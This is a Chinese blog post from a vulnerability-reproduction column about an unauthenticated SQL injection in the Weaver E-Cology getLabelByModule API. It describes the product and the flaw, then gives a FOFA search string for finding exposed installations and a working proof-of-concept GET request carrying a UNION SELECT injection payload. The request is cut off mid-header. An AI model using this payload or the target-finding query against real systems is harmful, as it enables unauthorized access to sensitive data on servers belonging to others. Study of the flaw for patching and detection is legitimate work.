泛微E-Cology getLabelByModule SQL注入（含批量验证poc）

今天晚上早睡觉

已于 2024-04-18 09:59:56 修改

阅读量362

点赞数

分类专栏：漏洞复现文章标签： sql 数据库 web安全

于 2024-04-18 09:59:39 首次发布

版权

363 篇文章 ¥9.90 ¥99.00

订阅专栏

本文介绍了泛微协同管理平台E-Cology存在的SQL注入问题，详细描述了漏洞成因、复现环境及步骤。通过未过滤用户输入导致的SQL注入，攻击者可能获取敏感信息甚至系统权限。修复建议包括限制访问源地址和应用官方补丁。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

产品介绍

泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。

由于泛微e-cology未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限等。

FOFA：app=”泛微-E-Weaver”

http://your-ip/api/ec/dev/locale/getLabelByModule

POC

GET /api/ec/dev/locale/getLabelByModule?moduleCode=?moduleCode=?moduleCode=1%27)%20union%20all%20select%20%27666666,%27%20-- HTTP/1.1
Host: your-ip
U

了解本专栏